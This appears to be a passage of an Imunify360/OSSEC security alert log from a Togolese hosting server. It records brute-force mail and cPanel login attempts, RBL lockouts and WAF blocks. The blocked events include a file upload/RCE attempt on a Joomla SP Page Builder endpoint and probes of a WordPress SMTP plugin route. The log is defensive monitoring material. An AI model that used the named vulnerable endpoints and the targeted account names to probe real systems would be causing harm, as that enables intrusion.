[2026-07-02 00:53:44 +0000] info [cpaneld] 178.171.44.233 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:53:20 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:53:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:61886: 535 Incorrect authentication data (set_id=lilin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:53:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3516: 535 Incorrect authentication data (set_id=savannah@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:53:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:53:26 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:53:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:63002: 535 Incorrect authentication data (set_id=orsk@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:53:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.160.206
country_id: 6252001
description:
[2026-07-02 00:53:39 +0000] info [cpaneld] 136.227.160.206 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:53:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35312: 535 Incorrect authentication data (set_id=resa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:54:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11664: 535 Incorrect authentication data (set_id=indigo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:54:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43994: 535 Incorrect authentication data (set_id=jo@ns5.netmaster.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 97.74.87.226
country_id: 1880251
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-54.97.74.87.226||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:54:11 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:54:31 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:54:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:54:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15748: 535 Incorrect authentication data (set_id=tk@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:54:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37984: 535 Incorrect authentication data (set_id=ut@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:54:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64330: 535 Incorrect authentication data (set_id=indigo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:54:16 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:55:19 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:55:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56210: 535 Incorrect authentication data (set_id=myftp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:55:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:40748: 535 Incorrect authentication data (set_id=byte@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:55:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:20048: 535 Incorrect authentication data (set_id=99999999@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:55:11 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:55:01 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:55:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:55:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:57340: 535 Incorrect authentication data (set_id=netflow@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 113.44.111.224
country_id: 1814991
description:
113.44.111.224 - - [02/Jul/2026:00:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301993&pdata=https%253A%252F%252Fmail.ucao-uut.tg%252Factualites-evenements%252Factualites%252Fles-etudiants-congolais-celbrent-la-richesse-culturelle-de-leur-pays-lors-des-rassemblements-aux-mats-a-l-ucao-uut%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782953739 HTTP/2.0" 302 0 mail.ucao-uut.tg "https://mail.ucao-uut.tg/actualites-evenements/actualites/les-etudiants-congolais-celbrent-la-richesse-culturelle-de-leur-pays-lors-des-rassemblements-aux-mats-a-l-ucao-uut/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:113.44.111.224


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:56:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:56:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:9206: 535 Incorrect authentication data (set_id=encoder@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:56:39 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:56:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:56:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50734: 535 Incorrect authentication data (set_id=golestan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:56:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:56:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36418: 535 Incorrect authentication data (set_id=bugtracker@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.193.233
country_id: 6252001
description:
[2026-07-02 00:56:41 +0000] info [whostmgrd] 185.213.193.233 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:56:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32216: 535 Incorrect authentication data (set_id=weidong@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.6.160.93
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/75706e HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:57:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46228: 535 Incorrect authentication data (set_id=cristian@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:57:29 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:57:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12446: 535 Incorrect authentication data (set_id=kris@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:57:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:49430: 535 Incorrect authentication data (set_id=kris@ns5.netmaster.tg)


plugin: modsec
rule: 77209353
abuser: 194.61.28.204
country_id: 3017382
domain: pnls.tg
name:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)

description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:57:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:57:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20890: 535 Incorrect authentication data (set_id=sei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:57:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:57:36 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:57:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:7182: 535 Incorrect authentication data (set_id=osada@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.51.40.216
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/757824707 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:58:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:25564: 535 Incorrect authentication data (set_id=ic@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:58:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61644: 535 Incorrect authentication data (set_id=tovar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:58:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:58:24 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:58:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:58:19 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:58:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47902: 535 Incorrect authentication data (set_id=shop.cpanel@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:58:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10906: 535 Incorrect authentication data (set_id=garfield@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 00:59:20 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 00:59:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:29198: 535 Incorrect authentication data (set_id=cpanel.demo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 00:59:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 00:59:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:1616: 535 Incorrect authentication data (set_id=manish@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 00:59:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 00:59:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 00:59:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:2818: 535 Incorrect authentication data (set_id=biorad@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 00:59:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:52120: 535 Incorrect authentication data (set_id=demarini@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:00:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20676: 535 Incorrect authentication data (set_id=reserveringen@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:00:34 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:00:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:00:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43582: 535 Incorrect authentication data (set_id=guia@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:00:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14466: 535 Incorrect authentication data (set_id=dominique@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:00:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42106: 535 Incorrect authentication data (set_id=comite@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:00:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55358: 535 Incorrect authentication data (set_id=whatever43@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:00:03 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:00:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:01:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:01:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:57964: 535 Incorrect authentication data (set_id=e-learning@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:01:21 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:01:31 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:01:30 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:01:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:21658: 535 Incorrect authentication data (set_id=schema@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  2 01:01:12 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.109.107.82
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/Microfinance-540x330-1-300x183.webp HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:01:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59900: 535 Incorrect authentication data (set_id=lbs@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:01:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17020: 535 Incorrect authentication data (set_id=1qaz2wsx@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:02:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:62124: 535 Incorrect authentication data (set_id=syg@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:02:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:02:15 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:02:15 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:02:16 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:02:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:57870: 535 Incorrect authentication data (set_id=emil@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:02:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34474: 535 Incorrect authentication data (set_id=bettie@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:02:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36264: 535 Incorrect authentication data (set_id=jubar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:03:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.154.150.182
country_id: 1643084
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/adzinikuzan-2023-apotheose HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:04:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53460: 535 Incorrect authentication data (set_id=vgm@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-02 01:03:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12594: 535 Incorrect authentication data (set_id=empresa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:03:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:38250: 535 Incorrect authentication data (set_id=vesti@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-02 01:03:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:63768: 535 Incorrect authentication data (set_id=evn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  2 01:03:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-02 01:03:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30012: 535 Incorrect authentication data (set_id=murray@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  2 01:03:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  2 01:03:06 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  2 01:04:13 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-02 01:04:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54896: 535 Incorrect authentication data (set_id=romeo@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.10.94
country_id: 6252001
domain: ns5.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ns5.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
